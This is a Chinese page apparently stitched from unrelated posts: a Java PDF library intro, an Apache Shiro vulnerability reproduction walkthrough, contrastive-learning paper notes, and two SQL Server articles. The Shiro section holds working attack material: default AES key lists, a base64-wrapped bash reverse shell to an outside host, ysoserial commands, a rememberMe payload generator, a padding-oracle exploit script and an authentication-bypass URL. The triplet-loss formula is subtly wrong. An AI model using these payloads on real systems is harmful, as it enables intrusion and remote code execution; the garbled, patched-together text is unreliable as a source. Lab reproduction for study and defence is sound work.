2024年11月

一、概述

一个 java 语言简化处理 pdf 的框架

项目主页

https://x-easypdf.cn

项目概述

x-easypdf是一个java语言简化处理pdf的框架,包含fop模块与pdfbox模块,fop模块以创建功能为主,基于xsl-fo模板生成pdf文档,以数据源的方式进行模板渲染;pdfbox模块以编辑功能为主,对标准的pdfbox进行扩展,添加了成吨的功能。

项目特性

fop模块

以创建功能为主,基于 xsl-fo 模板生成 pdf 文档,以数据源的方式进行模板渲染。

  • 基于模板生成
  • 内置多种数据源(xml 数据源、thymeleaf 数据源、freemarker 数据源、jte 数据源、document 数据源)
  • 提供面向对象的方式生成模板(document 数据源)
  • 灵活的扩展性
pdfbox模块

以编辑功能为主,对标准的 pdfbox 进行扩展,添加了成吨的功能。

  • 超出页面宽度自动换行,超出页面高度自动分页
  • 内置华为鸿蒙字体,天然支持中文文本
  • 内置页眉页脚,简单快捷
  • 内置多个组件,满足不同的需求
  • 内置多种扩展器,方便解析、提取与处理文档内容
  • 支持自定义组件与扩展

springboot简单集成测试

        <dependency>
            <groupId>org.dromara.x-easypdf</groupId>
            <artifactId>x-easypdf</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.dromara.x-easypdf</groupId>
            <artifactId>x-easypdf-pdfbox</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.dromara.x-easypdf</groupId>
            <artifactId>x-easypdf-fop</artifactId>
            <version>3.2.1</version>
        </dependency>     

测试代码:

@TestvoidcontextLoads() {
String content
= "\t先帝创业未半而中道崩殂,今天下三分,益州疲弊,此诚危急存亡之秋也。然侍卫之臣不懈于内,忠志之士忘身于外者,盖追先帝之殊遇,欲报之于陛下也。诚宜开张圣听,以光先帝遗德,恢弘志士之气,不宜妄自菲薄,引喻失义,以塞忠谏之路也。\n" + "\n" + "宫中府中,俱为一体,陟罚臧否,不宜异同。若有作奸犯科及为忠善者,宜付有司论其刑赏,以昭陛下平明之理,不宜偏私,使内外异法也。\n" + "\n" + "侍中、侍郎郭攸之、费祎、董允等,此皆良实,志虑忠纯,是以先帝简拔以遗陛下。愚以为宫中之事,事无大小,悉以咨之,然后施行,必能裨补阙漏,有所广益。\n" + "\n" + "将军向宠,性行淑均,晓畅军事,试用于昔日,先帝称之曰能,是以众议举宠为督。愚以为营中之事,悉以咨之,必能使行阵和睦,优劣得所。\n" + "\n" + "亲贤臣,远小人,此先汉所以兴隆也;亲小人,远贤臣,此后汉所以倾颓也。先帝在时,每与臣论此事,未尝不叹息痛恨于桓、灵也。侍中、尚书、长史、参军,此悉贞良死节之臣,愿陛下亲之信之,则汉室之隆,可计日而待也。\n" + "\n" + "臣本布衣,躬耕于南阳,苟全性命于乱世,不求闻达于诸侯。先帝不以臣卑鄙,猥自枉屈,三顾臣于草庐之中,咨臣以当世之事,由是感激,遂许先帝以驱驰。后值倾覆,受任于败军之际,奉命于危难之间,尔来二十有一年矣。\n" + "\n" + "先帝知臣谨慎,故临崩寄臣以大事也。受命以来,夙夜忧叹,恐托付不效,以伤先帝之明,故五月渡泸,深入不毛。今南方已定,兵甲已足,当奖率三军,北定中原,庶竭驽钝,攘除奸凶,兴复汉室,还于旧都。此臣所以报先帝而忠陛下之职分也。至于斟酌损益,进尽忠言,则攸之、祎、允之任也。\n" + "\n" + "愿陛下托臣以讨贼兴复之效,不效,则治臣之罪,以告先帝之灵。若无兴德之言,则责攸之、祎、允等之慢,以彰其咎;陛下亦宜自谋,以咨诹善道,察纳雅言,深追先帝遗诏,臣不胜受恩感激。\n" + "\n" + "今当远离,临表涕零,不知所言。";//(1)PDFBox方式创建文件 Document document =PdfHandler.getDocumentHandler().create();//设置使用字体 document.setFontName("仿宋");//创建页面 Page page = newPage(document);//创建文本域 Textarea textarea = newTextarea(page);//设置文本 textarea.setText(content);//设置字体颜色 textarea.setFontColor(Color.BLUE);//渲染文本 textarea.render();//添加页面 document.appendPage(page);//保存文档 document.save("E:\\PDF\\出师表(1).pdf");//关闭文档 document.close();//(2)模板方式创建文件 TemplateHandler.Document.build().addPage(TemplateHandler.Page.build().
addBodyComponent(TemplateHandler.Text.build().
setFontFamily(
"宋体").
setText(content))).
setAuthor(
"诸葛亮").
setSubject(
"出师表").
setTitle(
"出师表").
transform(
"E:\\PDF\\出师表(2).pdf");
}

文档效果:

(1)PDFBox方式创建文件


(2)模板方式创建文件

源地址:
x-easypdf:一个 java 语言简化处理 pdf 的框架 - GitCode

Shiro 漏洞复现

shiro是什么?

ApacheShiro是一个灵活且全面的Java安全框架,它为现代应用程序提供了认证、授权、加密和会话管理等核心安全功能。

shiro组件识别

1.在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe,说明使用了 Shiro 组件。

image-20241125160353922

2.有时 Shiro 会在响应中设置特定的cookie 名称,例如 shiroCookie。

Shiro-550(CVE-2016-4437反序列化漏洞)

	shiro采用AES加密,通常情况下不可解密,但是会存在一个初始秘钥,而大多数人不会更改秘钥(key),那么加密就形同虚设
	影响版本:Apachee Shiro <= 1.2.4
  • 常见的key:
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
  • 使用docker搭建环境:
# 拉取镜像
docker pull medicean/vulapps:s_shiro_1
# 启动容器
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

image-20241125224734694

  1. 检测是否存在默认的key
# 工具
https://github.com/StarkChristmas/Shiro_exploit

# 使用命令
python shiro_exploit.py -u http://靶机:端口
  • 这里得到
    AES
    秘钥
CipherKey:r0e3c16IdVkouZgk1TKVMg==

image-20241125225319444

  1. 确认反弹shell语句(在java中要base64编码)
# 原本的语句
bash -i >& /dev/tcp/8.8.8.8/6666 0>&1

# base64编码(中间要去空格)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

通过
ysoserial
这个工具中JRMP监听模块,攻击机监听9999端口并执行反弹shell命令

 # `ysoserial下载
 https://github.com/frohoff/ysoserial/releases/tag/v0.0. 
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

image-20241125230300215

  1. 准备一个脚本
    shiro_poc.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    return base64.b64encode(iv + encryptor.encrypt(file_body))


if __name__ == '__main__':
    if not sys.argv[1:]:
        print(f'Usage: {sys.argv[0]} <payload>')
        sys.exit(1)
    payload = encode_rememberme(sys.argv[1])
    print("[+] Payload: ")
    print("rememberMe={0}".format(payload.decode()))
  • 脚本生成payload,端口为先前监听的
    9999
python shiro_poc_test.py 攻击机ip:9999

image-20241125232139668

  1. bp 抓取shiro任意用户登录之后的任意请求,把构造的cookie值替换掉请求中的cookie 值(发送前攻击机监听6666端口)

image-20241125232230520

  1. 成功得到
    shell

image-20241125232539978

Shir0-721漏洞利用

由于 Apache Shirocookie 中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过PaddingOracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

影响版本:Apache Shiro<= 1.4.1(需要一个登录账号,漏洞必须登录才能利用)

环境搭建

git clone https://github.com/inspiringz/Shiro-721.git

cd Shiro-721/Docker

docker build -t shiro-721 .

docker run -p 8080:8080 -d shiro-721

漏洞利用

  1. 登录Shiro测试账户获取合法Cookie(勾选 Remember Me)

image-20241126112546319

  • 如果登录成功则不会设置deleteMe的cookie

image-20241126112411015

  • 如果失败时会设置deleteMe的cookie

image-20241126112450186

  1. 反序列化工具
    ysoserial
    生成Payload
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > eval.class
  1. 创建一个python脚本遍历key,命名为
    exp.py
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import unquote
import requests
import socket
import time
import sys
import logging


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie.decode('utf-8')
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']

        # logging.debug(self.session.cookies)

        while 1:
            try:
                response = self.session.get(sys.argv[1], stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...', self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)
        # logging.debug(response.headers)
        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return
        # logging.debug("Padding exception")
        raise BadPaddingException


if __name__ == '__main__':
    if not sys.argv[3:]:
        print(f'Usage: {sys.argv[0]} <url> <somecookie value> <payload>')
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))
    padbuster = PadBuster()
    payload = open(sys.argv[3], 'rb').read()
    enc = padbuster.encrypt(plaintext=payload, block_size=16)

    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
    # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
    print('rememberMe cookies:')
    print(b64encode(enc))

  1. 使用脚本(需要python2的环境,大约需要运行1个小时),最后替换cookie即可
python exp.py 靶机URL 登录好的cookie 生成的payload
  • 这个漏洞在实际中很难遇到,因为在 1.2.4 版本后,shiro 已经更换
    AES-CBC

    AES-GCM
    ,无法进行遍历,而且需要一个正确的账号获得cookie,这里不再演示

Apache SShiro认证绕过漏洞(CVE-2020-1957)

  1. 访问
    http://your-ip:8080/admin/
    ,发现无法访问,会重定向到登录页面

image-20241126114611712

  1. 访问
    http://your-ip:8080/xxx/..;/admin/
    可以绕过校验

image-20241126114710327


记录一下读的三篇相关文章。

01. Representation Learning with Contrastive Predictive Coding

1.1 文章解读

这篇文章的主要思想是,我们维护一个 discriminator,负责判断两个东西是否是一致的(也可认为是一个判断相似性的函数);比如,我的 encoding 和我下一时刻的 encoding(这篇文章所做的),两个相同类别的样本,两个正样本,我的 encoding 和我数据增强后的 encoding 等等。

在这篇文章(CPC)里,我们定义 discriminator 是
\(f_k(x_{x+k},c_t)=\exp(z_{x+k}^TW_kc_t)\)
,这个函数大概计算了 z 和 c 的内积。其中,
\(z_{x+k}\)

\(x_{x+k}\)
真实值的 encoding,而
\(c_t\)
是序列预测模型(比如说 RNN 或 LSTM)最后一步的 hidden 值,我们一般用这个值来预测。

这篇文章的 loss function 是

\[L_N = - E\left[\log\frac{f_k(x_{x+k},c_t)}{\sum _{x_j\in X} f_k(x_j,c_t)}\right]
\]

这是一种 maximize [exp / Σ exp] 的形式。(照搬原博客)怎么理解这个 loss function 呢,
\(p(x_{t+k}|c_t)\)
指的是,我们选正在用的那个声音信号的
\(x_{t+k}\)
,而
\(p(x_{j})\)
指的是我们可以随便从其他的声音信号里选择一个片段。

回忆一下,我们刚才说过,
\(f_k()\)
其实是在计算
\(c_t\)
的预测和
\(x_{t+k}\)
(未来值)符不符合。那么对于随便从其他声音信号里选出的
\(x_j\)

\(f_k(x_j,c_t)\)
应是相对较小的。

在具体实践时,大家常常在对一个 batch 进行训练时,把当前 sample 的
\((x_{t+k}^i,c_t^i)\)
(这里上标表示 sample 的 id)当作 positive pair,把 batch 里其他 samples 和当前 sample 的预测值配对
\((x_{t+k}^j,c_t^i)\)
作为 negative pair (注意上标)。

1.2 个人理解

这篇文章主要在说 InfoNCE loss。InfoNCE loss 大概就是 maximize [exp / Σ exp] 的形式,公式:

\[L_\text{InfoNCE} = - E\left[\log\frac{\exp(z^T_{x+k}Wc_t)}{\sum _{x_j\in X} \exp(z^T_{j}Wc_t)}\right]
\]

这貌似是比较现代的对比学习 loss function。还有一些比较古早的 loss function 形式,比如 Contrastive loss(
Chopra et al. 2005
),它希望最小化同类样本(
\(y_i=y_j\)
)的 embedding 之间的距离,而最大化不同类样本的 embedding 距离:

\[L(x_i,x_j) = \mathbb 1[y_i=y_j] \big\|f(x_i)-f(x_j)\big\|
+ \mathbb 1[y_i\neq y_j] \max\big(0,\epsilon- \|f(x_i)-f(x_j)\| \big)
\]

第一项代表,如果是同类别样本,则希望最小化它们 embedding 之间的距离;第二项代表,如果是不同类样本,则希望最大化 embedding 距离,但不要超过 ε,ε 是超参数,表示不同类之间的距离下限。

Triplet Loss 三元组损失(FaceNet ,
Schroff et al. 2015
) :

\[L_\text{triplet}(x,x^+,x^-) = \sum_{x\in X} \max\big(
0, \|f(x)-f(x^+)\| - \|f(x)-f(x^+)\| + \epsilon \big)
\]

其中,x 是 anchor,x+ 是正样本,x- 是负样本。我们希望 x 靠近 x+、远离 x-。可以理解为,我们希望最大化
\(\|f(x)-f(x^+)\| - \|f(x)-f(x^+)\| - \epsilon\)
,即,anchor 离负样本的距离应该大于 anchor 离正样本的距离,距离差超过一个超参数 margin ε。

02. CURL: Contrastive Unsupervised Representations for Reinforcement Learning

curl 也应用了这种 maximize [exp / Σ exp] 的形式,它的 loss function 是:

\[L_q=\log\frac{\exp⁡(q^TWk_+)}{\exp⁡(q^TWk_+) + \sum_{i=0}^{K−1}\exp⁡(q^TWk_i)}
\]

其中,q 是 query,貌似也可理解为 anchor,k 是 key,k+ 是正样本,ki 是负样本。anchor 和正样本 貌似都是图像裁剪得到的。

Refer to caption

key encoder 的参数是 query encoder 的参数的 moving average,
\(\theta_k=m\theta_k+(1-m)\theta_q\)

HIM
中,curl 是一个 baseline,HIM curl 的正样本是 adding gaussian perturbation ∼ N (µ = 0.0, σ = 0.1) 得到的。

03. Representation Matters: Offline Pretraining for Sequential Decision Making

做了很多 RL 相关的 representation learning 的 review 和技术比较,比较了各种实现在 imitation learning、offline RL 和 offline 2 online RL 上的效果。

arxiv:
https://arxiv.org/pdf/2102.05815



前言

做好日常巡检是数据库管理和维护的重要步骤,而且需要对每次巡检日期、结果进行登记,同时可能需要出一份巡检报告。

本系列旨在解决一些常见的困扰:

不知道巡检哪些东西
不知道怎么样便捷体检
机器太多体检麻烦
生成报告困难,无法直观呈现结果

前面两篇对服务器软硬件配置、数据库概况进行了巡检,下面我们要对数据库的一些结构设计进行检查,这些检查主要针对系统开发初期一些不优化的结构设计或在系统不断有新功能增加或运维变动而产生的结构变化。

物理结构概览


在【检查项】-【全部】中查看每个数据库的信息,当数据库结构未通过常规检查,平台会提示出警告。

注:检查信息主要包含不规范的表、缺失索引、无索引外键、没有使用的索引、重复索引、老化的索引。

不规范的表


在【数据库】-【不规范的表】中检查系统中表是否存在有不规范设计。这些不规范设计主要包含无聚集索引,使用旧数据类型,聚集索引的列是随机增长的(GUID,uniqueidentifier类型)

注:

1.微软建议在表中都建议有聚集索引。聚集索引除了可以提高查询性能之外,还可以按需重新生成或重新组织来控制表碎片。

2.在 Microsoft SQL Server 的未来版本中将删除 ntext、text 和 image 数据类型。 请避免在新开发工作中使用这些数据类型,并考虑修改当前使用这些数据类型的应用程序。 请改用 nvarchar(max)、varchar(max) 和 varbinary(max)。

3.聚集索引本身是要排序的,而GUID(uniqueidentifier类型)这样插入数据时导致过多的页拆分。

缺失索引

数据库设计中索引是性能的一大关键,当数据库缺失大量索引,那么也必然导致数据库的性能很差。

无索引外键

对主表数据操作时(如删除),需要到外键表中查找校验,如果缺少外键索引可能导致全表扫描,严重影响性能。

当在查询中组合相关表中的数据时,经常在联接条件中使用外键列,方法是将一个表的 FOREIGN KEY 约束中的列与另一个表中的主键列或唯一键列匹配。索引使 数据库引擎可以在外键表中快速查找相关数据,提升性能。

没有使用的索引

随着开发和优化的进行,很多人会对数据库进行索引的创建操作,很多时候创建了一个较优的联合索引或者覆盖索引,会让原本单列的索引失去使用的场景,这部分索引会出现在,长时间未使用的索引中,建议删除。

重复索引


随着开发和优化的进行,很多人会对数据库进行索引的创建操作,那么页难免会产生一些功能相近或相同的索引,索引本身也是有维护成本,在更新、插入、删除时会有一定的开销,那么重复的索引只会增加这部分维护开销。

老化的索引

索引维护是配置常规维护任务之一,随着数据的不断写入和变更,会产生大量的索引碎片,缺少维护任务的索引,无法及时重新组织索引数据,导致索引低效,甚至失效。

程序设计结构概览

1.在【检查项】-【结构设计】中查看会话信息和执行计划,当设计结构未通过常规检查,平台会提示出警告。

注:检查信息主要会话隔离级别、是否存在带有事务的长时间会话、执行计划中是否存在隐式转换。

会话信息

1.在【会话】-【空闲会话】中查看会话信息。

注:主要关注,长时间未关闭会话和长时间未关闭并带有事务的会话。长时间带有事务的会话可能是因为程序连接泄露导致,长时间带有事务会阻塞其他会话的正常进行,造成系统卡死等严重性能问题。

2.在【会话】-【概览】页中查看会话详细信息,主要关注事务隔离级别。

事务隔离级别简述:事务隔离级别主要控制查询(共享锁),隔离级别越高并发能力就越差。(详细信息请参见:平台技术资料,最佳配置)

如果在程序中发现大量REPEATABLE_READ(可重复读)或SERIALIZABLE(可序列化),请检查程序是否有必要使用高级别的隔离级别,而导致阻塞等待增加,数据库并发能力下降。

注:如果在系统中存在大量高级别的事务级别,请确认是否需要高的隔离级别而牺牲并发能力。

隐式转换

存在隐式转换的执行计划:语句存在隐式转换导致性能消耗,或不能使用索引。

注:隐式转换常发生在表设计的字段类型(varchar)优先级别低于程序传递的参数类型(nvarchar)

在【执行计划】-【隐式转换】页中查看具体信息。

总结

整个程序和数据库是否稳定、高效和结构设计的好坏密不可分,在巡检过程中,结构设计时比较重要的一部分。很多时候运维人员和设计人员、开发人员沟通不畅、专业技能有差距,所以结构设计常常出现问题。

北京格瑞趋势科技有限公司是聚焦于数据服务的高新技术企业,成立于2008年,创始团队及核心技术人员来自微软和雅虎。微软数据平台金牌合作伙伴,卫宁健康数据平台战略合作伙伴。通过产品+服务双轮驱动的业务模式,14年间累计服务4000+客户,覆盖互联网、市政、交通、电信、医疗、教育、电力、制造业等各个领域。

从架构到成本,SQL Server 和 PostgreSQL 四大区别全方位解析!


今天我想分享 SQL Server 和 PostgreSQL 之间的四大关键区别。

在比较
SQL Server

PostgreSQL
这两种最常用的关系数据库管理系统(RDBMS)时,它们在架构、日志机制、并发模型、索引策略和许可方式等方面存在根本性差异。这些差异反映了这些系统背后的设计理念,并对它们在特定用例中的性能、可用性和成本产生了重大影响。

1. 查询架构:SQL Server 使用线程,PostgreSQL 使用进程

SQL Server 和 PostgreSQL 在处理并发连接和查询方面的架构存在根本性差异。

SQL Server:采用基于线程的模型,所有客户端连接由单个进程内的线程管理。SQL Server 的架构允许每个客户端会话由轻量级线程处理,这使得内存使用更加高效。由于 SQL Server 主要设计用于在 Windows 上运行(自 SQL Server 2017 起支持 Linux系统和Docker容器),其线程模型利用了 Windows 和Linux 的本地线程管理。而且,
它采用了更为高效的线程池模型(Thread Pool),通过让多个连接共享少量线程来减少资源占用和调度开销,因此,它能够更好地处理超大量并发连接(几万个并发连接不在话下)

PostgreSQL:采用基于进程的模型,这意味着每个客户端连接都会生成一个单独的操作系统进程。每个 PostgreSQL 后端(客户端连接)在自己的进程中与其他进程隔离,PostgreSQL 依赖操作系统进行进程管理。由于进程比线程更重,因此这种方法更消耗内存,但它为连接提供了强大的隔离性。如果一个进程崩溃,它不会导致整个系统崩溃,在某些情况下提供了更好的稳定性。由于进程模型的关系,PostgreSQL处理大量并发连接需要借助中间件,例如PgBouncer 或者 Pgpool-II。

SQL Server 的线程模型对于注重内存效率的环境尤其具有吸引力,特别是当需要处理大量并发连接时。另一方面,PostgreSQL 的基于进程的模型提供了更好的隔离性,使其在个别客户端故障可能影响其他连接的情况下更加稳定。

2. WAL 日志:SQL Server 为每个数据库使用事务日志,PostgreSQL 为整个集群(实例)使用 WAL 日志

SQL Server 和 PostgreSQL 都实现了预写日志(WAL)以确保数据的持久性和恢复能力,但它们的日志管理方式不同。

SQL Server:每个 SQL Server 数据库都有自己的事务日志文件。事务日志用于记录对数据库所做的所有更改,这些更改会在写入实际数据文件之前记录到日志中。每个数据库级别的日志确保了事务在数据库级别的隔离,并且恢复仅针对每个数据库。SQL Server 的事务日志在时间点恢复、备份和还原操作中起着至关重要的作用。

PostgreSQL:使用的是实例级别的 WAL(预写日志)。这意味着整个 PostgreSQL 实例(集群)只有一个 WAL 日志,包含多个数据库的更改记录。这种方式简化了日志管理,但在备份和恢复操作时需要更谨慎的处理。PostgreSQL 中的 WAL 日志确保了整个实例(集群)的崩溃恢复,要注意的是,时间点恢复(PITR)是针对整个集群的。

SQL Server 的每个数据库单独的日志结构允许更精细的控制和恢复,但 PostgreSQL 统一的 WAL 简化了整体管理,同时也要求在多个数据库的恢复中更加周密的计划。

3. 索引:SQL Server 可以存储数据在聚集表或堆表中,PostgreSQL 始终使用堆表

SQL Server 和 PostgreSQL 在数据存储和索引方式上也有显著差异。

SQL Server:允许表以
聚集表或堆表
的形式存储。在 SQL Server 中,聚集索引意味着表数据根据聚集索引键物理排序,每个表只能有一个聚集索引。另一方面,堆表是无序的行集合,没有特定的顺序,二级(非聚集)索引指向行。

PostgreSQL:始终以
堆表
的形式存储表数据。这意味着行的物理存储并不根据任何索引进行排序。PostgreSQL 使用二级索引(如 B +树、GIN、GiST 等)来引用堆中存储的数据。虽然 PostgreSQL 支持通过
CLUSTER 命令根据索引重新排序表
,但这是一次性操作,物理顺序不会随着表的未来更改自动保持。

对于需要物理数据排序的应用程序,
SQL Server 的聚集索引提供了显著的优势,特别是在范围查询或频繁的排序操作中
。而 PostgreSQL 依赖于堆表和二级索引,虽然没有提供聚集索引的物理数据组织,但它允许更灵活和多样化的索引策略。

4. 许可和成本差异:SQL Server 是商业软件,PostgreSQL 是开源软件

SQL Server 和 PostgreSQL 之间最显著的区别之一是它们的许可模式和成本。

SQL Server:是微软拥有的商业闭源产品。它按核心或按服务器进行许可,成本可能根据版本和部署规模显著增加。SQL Server 提供多个版本(Express、Standard、Enterprise),每个版本的功能和定价不同。企业级功能,如高可用容灾集群、高级分析、机器学习和大规模部署,需要的许可证。

PostgreSQL:是开源软件,采用类似 MIT 许可证的 PostgreSQL 许可协议免费分发。使用、修改和分发完全免费,没有任何许可费用,使其成为初创公司、小型企业以及寻求具有成本效益的数据库解决方案的理想选择。

虽然 SQL Server 提供由微软支持的全面的企业级功能,但其相关的许可费用可能对小型企业或初创公司来说可能是个障碍。PostgreSQL 的开源模式使其成为希望降低数据库相关开支的公司在不牺牲功能或性能的情况下的成本效益选择。

总结

虽然 SQL Server 和 PostgreSQL 都提供强大的关系数据库管理系统,但它们的底层架构、并发模型、存储机制和许可模式有着显著的不同。SQL Server 更适合需要健壮的商业解决方案和丰富企业功能的组织,而 PostgreSQL 提供了开源、灵活且具成本效益的替代方案,特别是在成本优先的场景中表现尤为出色。

参考文章

https://cloud.google.com/sql-server
https://en.wikipedia.org/wiki/Microsoft_SQL_Server
https://aws.amazon.com/cn/rds/sqlserver/
https://www.crystaldb.cloud/?gclid=Cj0KCQjw99e4BhDiARIsAISE7P_SkfP4qj-tHD8vjieMAl1KggZH693MaWrwFM9-icwkkT4tLydGNsAaAlk0EALw_wcB
https://www.postgresql.org/
https://www.enterprisedb.com/

本文版权归作者所有,未经作者同意不得转载。